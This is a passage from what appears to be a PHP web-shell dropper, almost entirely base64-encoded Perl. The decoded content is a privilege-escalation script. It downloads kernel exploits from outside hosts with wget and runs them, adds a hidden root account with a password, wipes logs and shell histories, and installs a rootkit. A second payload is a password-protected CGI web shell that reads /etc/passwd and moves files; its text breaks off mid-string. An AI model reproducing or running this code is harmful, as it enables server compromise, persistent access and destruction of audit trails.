bCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvZXhwbG9pdCIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgZXhwbG9pdCIpOyAKc3lzdGVtKCIuL2V4cGxvaXQiKTsgCnN5c3RlbSgiaWQiKTsgOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8yMDA5eHgiKTsgIApzeXN0ZW0oImNobW9kIDc3NyAyMDA5eHgiKTsgCnN5c3RlbSgiLi8yMDA5eHgiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsgCnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzIuNi45LTU1LTIwMDctcHJ2OCIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktNTUtMjAwNy1wcnY4Iik7IApzeXN0ZW0oIi4vMi42LjktNTUtMjAwNy1wcnY4Iik7IApzeXN0ZW0oImlkIik7IApzeXN0ZW0oIi4vMi42LjktNTUtMjAwNy1wcnY4Iik7IApzeXN0ZW0oImlkIik7IApzeXN0ZW0oIi4vMi42LjktNTUtMjAwNy1wcnY4Iik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7ICAKcHJpbnQgIklmIHUgbWFsZXNlZiByb290bGF5YW1hZGluIGJhc2thIHNlcnZlcmxlcmRlIG11dGxha2EgYW1hIG11dGxha2E6KWJ5IGlza29ycGl0eCAtIEVkaXQgQlkgbk8gbE92MyBcbiI7IAp9CmlmICgkQVJHVlswXSA9fiAiLWsiICkgCiAgICAgICAgICB7CnByaW50ICJMb2NhbCByb290IDIwMDkgaTY4NiAyLjYuMTgtMTI4ICBbIDIgXVxuIjsKc3lzdGVtICJ3Z2V0IGh0dHA6Ly9ncnNlY3VyaXR5Lm5ldC9+c3BlbmRlci82NGJpdF9kb3MuYyI7CnNsZWVwKDIpOwpzeXN0ZW0oImdjYyA2NGJpdF9kb3MuYyAtbyA2NGJpdF9kb3MiKTsgIApzbGVlcCgyKTsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gImNobW9kIDc3NyA2NGJpdF9kb3MiOwpzbGVlcCgyKTsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gIi4vNjRiaXRfZG9zIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CnNsZWVwKDIpOwpzeXN0ZW0gIndnZXQgaHR0cDovL2dyc2VjdXJpdHkubmV0L35zcGVuZGVyL2V4cGxvaXQudHh0IjsKc2xlZXAoMik7CnN5c3RlbSgiZ2NjIGV4cGxvaXQudHh0IC1vIGV4cGxvaXRjYyIpOyAgCnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiY2htb2QgNzc3IGV4cGxvaXRjYyI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiLi9leHBsb2l0Y2MiOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAidW5hbWUgLWE7cHdkO2lkO3N1IjsKc2xlZXAoMik7CnN5c3RlbSAid2dldCBodHRwOi8vZ3JzZWN1cml0eS5uZXQvfnNwZW5kZXIvZ3Jsb2dhbGVydC5jIjsKc2xlZXAoMik7CnN5c3RlbSgiZ2NjIGdybG9nYWxlcnQuYyAtbyBncmxvZ2FsZXJ0Iik7ICAKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICJjaG1vZCA3NzcgZ3Jsb2dhbGVydCI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiLi9ncmxvZ2FsZXJ0IjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CnNsZWVwKDIpOwpzeXN0ZW0gIndnZXQgaHR0cDovL2dyc2VjdXJpdHkubmV0L35zcGVuZGVyL3ZtbGludXpfdG9fdm1saW51eF9nei5jIjsKc2xlZXAoMik7CnN5c3RlbSgiZ2NjIHZtbGludXpfdG9fdm1saW51eF9nei5jIC1vIHZtbGludXpfdG9fdm1saW51eF9neiIpOyAgCnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiY2htb2QgNzc3IHZtbGludXpfdG9fdm1saW51eF9neiI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiLi92bWxpbnV6X3RvX3ZtbGludXhfZ3oiOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAidW5hbWUgLWE7cHdkO2lkO3N1IjsKc2xlZXAoMik7CnN5c3RlbSAid2dldCBodHRwOi8vZ3JzZWN1cml0eS5uZXQvfnNwZW5kZXIvY3Jhc2h2bWxpbnV6IjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gImNobW9kIDc3NyBjcmFzaHZtbGludXoiOwpzbGVlcCgyKTsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gIi4vY3Jhc2h2bWxpbnV6IjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CnNsZWVwKDIpOwpzeXN0ZW0gIndnZXQgaHR0cDovL2RhenpsZXN0dWRpby5uZXQvMi42LjE4LTE2NCI7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICJjaG1vZCA3NzcgMi42LjE4LTE2NCI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiLi8yLjYuMTgtMTY0IjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CnNsZWVwKDIpOwpzeXN0ZW0gIndnZXQgaHR0cDovL2FsZXhvbG91Z2hsaW5zcGxhY2UuY29tL2ZvcnVtL05ld0Rpci96MWQtMjAxMSI7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICJjaG1vZCA3NzcgejFkLTIwMTEiOwpzbGVlcCgyKTsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gIi4vejFkLTIwMTEiOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAidW5hbWUgLWE7cHdkO2lkO3N1IjsKICAgICB9CQppZiAoJEFSR1ZbMF0gPX4gIi1hYiIgKSAKICAgICAgICAgIHsKcHJpbnQgcSAoCiAgICAgICAgICAgICAKc2VjNGV2ZXIuY29tCik7CgogICAgIH0KIAppZiAoJEFSR1ZbMF0gPX4gIi10IiApIAogICAgICAgICAgewpwcmludCAiQWRkIFJvb3QgQWNjb3VudCBbIHIgXVxuIjsKcHJpbnQgInVzZXIgOiBbIHJvb3IgXVxuIjsKc3lzdGVtICJhZGR1c2VyIC1nIDAgcm9vciAtRyB3aGVlbCxzeXMsYmluLGRhZW1vbixhZG0sZGlzayAtZCAvc2Y3IC1zIC9iaW4vc2giOwpzeXN0ZW0gInBhc3N3ZCByMG90SDR4MHIiOwpwcmludCAicGFzcyBpcyA6IHIwb3RINHgwclxuIjsKc2xlZXAoMik7IAoKICAgICB9CQkgCgkgaWYgKCRBUkdWWzBdID1+ICItZCIgKSAKICAgICAgICAgIHsKICBzeXN0ZW0oIndnZXQgaHR0cDovL3Bqay5kYW5hd2EubXkvdGVtcGxhdGVzL2JlZXovcHJpdjgtMi42LjE4LjIwMTAiKTsKc3lzdGVtKCJjaG1vZCA3NzcgcHJpdjgtMi42LjE4LjIwMTAiKTsgCnN5c3RlbSgiLi9wcml2OC0yLjYuMTguMjAxMCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oImlkIik7CgogIHN5c3RlbSgid2dldCBodHRwOi8vcGprLmRhbmF3YS5teS90ZW1wbGF0ZXMvYmVlei9wcml2OC0yLjYuMTgtMTY0LTIwMTAiKTsKc3lzdGVtKCJjaG1vZCA3NzcgcHJpdjgtMi42LjE4LTE2NC0yMDEwIik7IApzeXN0ZW0oIi4vcHJpdjgtMi42LjE4LTE2NC0yMDEwIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgiaWQiKTsKCiAgc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9wamsuZGFuYXdhLm15L3RlbXBsYXRlcy9iZWV6LzIuNi4xOCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTgiKTsgCnN5c3RlbSgiLi8yLjYuMTgiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJpZCIpOwoKIHN5c3RlbSgid2dldCBodHRwOi8vcGprLmRhbmF3YS5teS90ZW1wbGF0ZXMvYmVlei8yIik7CnN5c3RlbSgiY2htb2QgNzc3IDIiKTsgCnN5c3RlbSgiLi8yIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgiaWQiKTsKCiBzeXN0ZW0oIndnZXQgaHR0cDovL3Bqay5kYW5hd2EubXkvdGVtcGxhdGVzL2JlZXovMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAxIik7IApzeXN0ZW0oIi4vMSIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oImlkIik7CgoKIHN5c3RlbSgid2dldCBodHRwOi8vcGprLmRhbmF3YS5teS90ZW1wbGF0ZXMvYmVlei8yLjYuMTgtMTk0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQiKTsgCnN5c3RlbSgiLi8yLjYuMTgtMTk0Iik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgiaWQiKTsKCgogc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9wamsuZGFuYXdhLm15L3RlbXBsYXRlcy9iZWV6LzIuNi4zMi0yMS1nZW5lcmljLTIwMTAtaTY4NiIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzItMjEtZ2VuZXJpYy0yMDEwLWk2ODYiKTsgCnN5c3RlbSgiLi8yLjYuMzItMjEtZ2VuZXJpYy0yMDEwLWk2ODYiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJpZCIpOwoKIHN5c3RlbSgid2dldCBodHRwOi8vcGprLmRhbmF3YS5teS90ZW1wbGF0ZXMvYmVlei8yLjYuMTgtNTMiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTUzIik7IApzeXN0ZW0oIi4vMi42LjE4LTUzIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgiaWQiKTsKCiBzeXN0ZW0oIndnZXQgaHR0cDovL3Bqay5kYW5hd2EubXkvdGVtcGxhdGVzL2JlZXovMi42LjE4LTUzIik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zMCIpOyAKc3lzdGVtKCIuLzIuNi4xOC01MyIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oImlkIik7CgogICB9CmlmICgkQVJHVlswXSA9fiAiLWMiICkgCiAgICAgICAgICB7CnN5c3RlbSAid2dldCBodHRwOi8vcmJodC5wcC5ydS9maWxlcy9lbmxpZ2h0ZW5tZW50LnRneiI7CnNsZWVwKDIpOyAKc3lzdGVtICJ0YXIgeHpmIGVubGlnaHRlbm1lbnQudGd6IjsKc2xlZXAoMik7IApzeXN0ZW0gImNkIGVubGlnaHRlbm1lbnQiOwpzeXN0ZW0gInNlZCAtaSAnL3R1cm5fXChvblx8b2ZmXClfd3AoKTsvZCcgZXhwbG9pdC5jIjsKc2xlZXAoMik7IApzeXN0ZW0gIi4vcnVuX251bGxfZXhwbG9pdHMuc2giOwpzbGVlcCgyKTsgCnN5c3RlbSAiaWQiOwpzeXN0ZW0gImlkIjsgCnN5c3RlbSAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSAidW5hbWUgLWE7c3U7aWQiOwogICAgIH0gCgkgCmlmICgkQVJHVlswXSA9fiAiLXJtIiApIAogICAgICAgICAgewpwcmludCAicm0gLXJmIExvZyBbIHJtIF0gXG4iOwpzeXN0ZW0gInJtIC1yZiAvdG1wL2xvZ3MiOwpzeXN0ZW0gInJtIC1yZiAvcm9vdC8ua3NoX2hpc3RvcnkiOwpzeXN0ZW0gInJtIC1yZiAvcm9vdC8uYmFzaF9oaXN0b3J5IjsKc3lzdGVtICJybSAtcmYgL3Jvb3QvLmJhc2hfbG9nb3V0IjsKc3lzdGVtICJybSAtcmYgL3Vzci9sb2NhbC9hcGFjaGUvbG9ncyI7CnNsZWVwKDIpOwpzeXN0ZW0gInJtIC1yZiAvdXNyL2xvY2FsL2FwYWNoZS9sb2ciOwpzeXN0ZW0gInJtIC1yZiAvdmFyL2FwYWNoZS9sb2dzIjsKc3lzdGVtICJybSAtcmYgL3Zhci9hcGFjaGUvbG9nIjsKc3lzdGVtICJybSAtcmYgL3Zhci9ydW4vdXRtcCI7CnN5c3RlbSAicm0gLXJmIC92YXIvbG9ncyI7CnN5c3RlbSAicm0gLXJmIC92YXIvbG9nIjsKc2xlZXAoMik7CnN5c3RlbSAicm0gLXJmIC92YXIvYWRtIjsKc3lzdGVtICJybSAtcmYgL2V0Yy93dG1wIjsKc3lzdGVtICJybSAtcmYgL2V0Yy91dG1wIjsKc3lzdGVtICJjZCAvYmluIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwogICAgIH0KaWYgKCRBUkdWWzBdID1+ICItdjQiICkgCiAgICAgICAgICB7CnByaW50ICJBZGQgdjQtdGVhbSBSb290a2l0IFsgdjQgXVxuIjsKc3lzdGVtICJ3Z2V0IGh0dHA6Ly90cmF2MWFuLnQzNS5jb20vdjR0ZWFtLXJvb3RraXQudGFyLmd6IjsKc3lzdGVtICJ0YXIgLXh2dnpmIHY0dGVhbS1yb290a2l0LnRhci5neiI7CnN5c3RlbSAiY2Qgcm9vdGtpdDsuL2luc3RhbGwiOwpwcmludCAidXNlciA6IHdvN29zaHY0dGVhbSAsICBwYXNzIDogdjR0ZWFtaGFja2VyIFxuIjsKc3lzdGVtICJpZCI7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKICAgICB9CgkgCgkgCmlmICgkQVJHVlswXSA9fiAiLWhlIiApIAogICAgICAgICAgewpwcmludCBxICgKCnwgICAgICAgIFVzZSA6IHBlcmwgcm8wdGdldC5wbCAtMSAgICAgICAgfAoKKTsKCiAgICAgfQoK'); 
$write = fwrite ($file ,$sa); 
 
$file = fopen($dir."dz.sa" ,"w+"); 
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCiROVENtZFNlcCA9ICImIjsKJFVuaXhDbWRTZXAgPSAiOyI7CiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMzAwOwokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwokcGFzc3dvcmQgPSAiZHoiOwokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsKJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOwokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsKJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsKc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBmb28KICAgIHsKICAgICAgICBteSAoICRsb2dpbiwgJHAsICR1aWQsICRnaWQsICRnZWNvcywgJGRpciwgJHMgKTsKICAgICAKICAgICAgICBteSAlSG9IID0gKCk7CiAgICAgCiAgICAgICAgbXkgJGZpbGUgPSAnL2V0Yy9wYXNzd2QnOwogICAgICAgIG9wZW4oIFBBU1NXRCwgIjwgJGZpbGUiICkgb3IgZGllICJDYW4ndCBvcGVuICRmaWxlIDogJCEiOwogICAgIAogICAgICAgIHdoaWxlKCA8UEFTU1dEPiApIHsKICAgICAgICAgICAgKCAkbG9naW4sICRwLCAkdWlkLCAkZ2lkLCAkZ2Vjb3MsICRkaXIsICRzICkgPSBzcGxpdCggJzonICk7CiAgICAgCiAgICAgICAgICAgICRIb0h7ICRsb2dpbiB9eyAndWlkJyB9ID0gJHVpZDsKICAgICAgICAgICAgJEhvSHsgJGxvZ2luIH17ICdnaWQnIH0gPSAkZ2lkOwogICAgICAgICAgICAkSG9IeyAkbG9naW4gfXsgJ2RpcicgfSA9ICRkaXI7CiAgICAgICAgfQogICAgIAogICAgICAgIGNsb3NlIFBBU1NXRDsKICAgICAKICAgICAgICByZXR1cm4gXCVIb0g7CiAgICB9CnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+S0lEIC0gRHIuSkVlTlRlTCBTaGVMTDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxib2R5IHN0eWxlPSdjb2xvcjogIzAwMDAwMDtiYWNrZ3JvdW5kOnVybChodHRwOi8vZHo0YWxsLmNvbS9jYy9pbWFnZXMvYWxtamF6Zi1zYS9uYXYvbmF2XzE4LmdpZikgcmVwZWF0IHNjcm9sbCBjZW50ZXIgdG9wO2JhY2tncm91bmQtYXR0YWNobWVudDogZml4ZWQ7U0NST0xMQkFSLUZBQ0UtQ09MT1I6ICNGMUYxRjE7IE1BUkdJTjogMHB4O1NDUk9MTEJBUi1ISUdITElHSFQtQ09MT1I6ICNmZmZmZmY7IE9WRVJGTE9XOiBhdXRvOyc+Cjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjMDBmZjAwIj48cCBhbGlnbj0iY2VudGVyIj5zPGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+RGlzY29ubmVjdDwvYT4KPHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+CjxwIGFsaWduPSJjZW50ZXIiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjMiIGNvbG9yPSIjRkYwMDAwIj5LSUQtU2hlbGwgLSBTZXJ2ZXI6OiAgPGZvbnQgY29sb3I9IiMwMEZGMDAiPiRTZXJ2ZXJOYW1lPC9mb250PjwvZm9udD4KPC90cj4KPHRyPgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgY29sb3I9IiNDMEMwQzAiIHNpemU9IjMiPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoJJE1lc3NhZ2UgPSBxJDxwcmU+PGZvbnQgY29sb3I9IiMwMGZmMDAiPgogICAgICAtLSBFbnRlciBQYXNzd29yZCAtLQo8L2ZvbnQ+PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKJE1lc3NhZ2UKRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGJyPmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGJyPgpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpbkZvcm0KewoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj48Zm9udCBjb2xvcj0iIzAwZmYwMCI+UGFzc3dvcmQgOiA8L2ZvbnQ+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS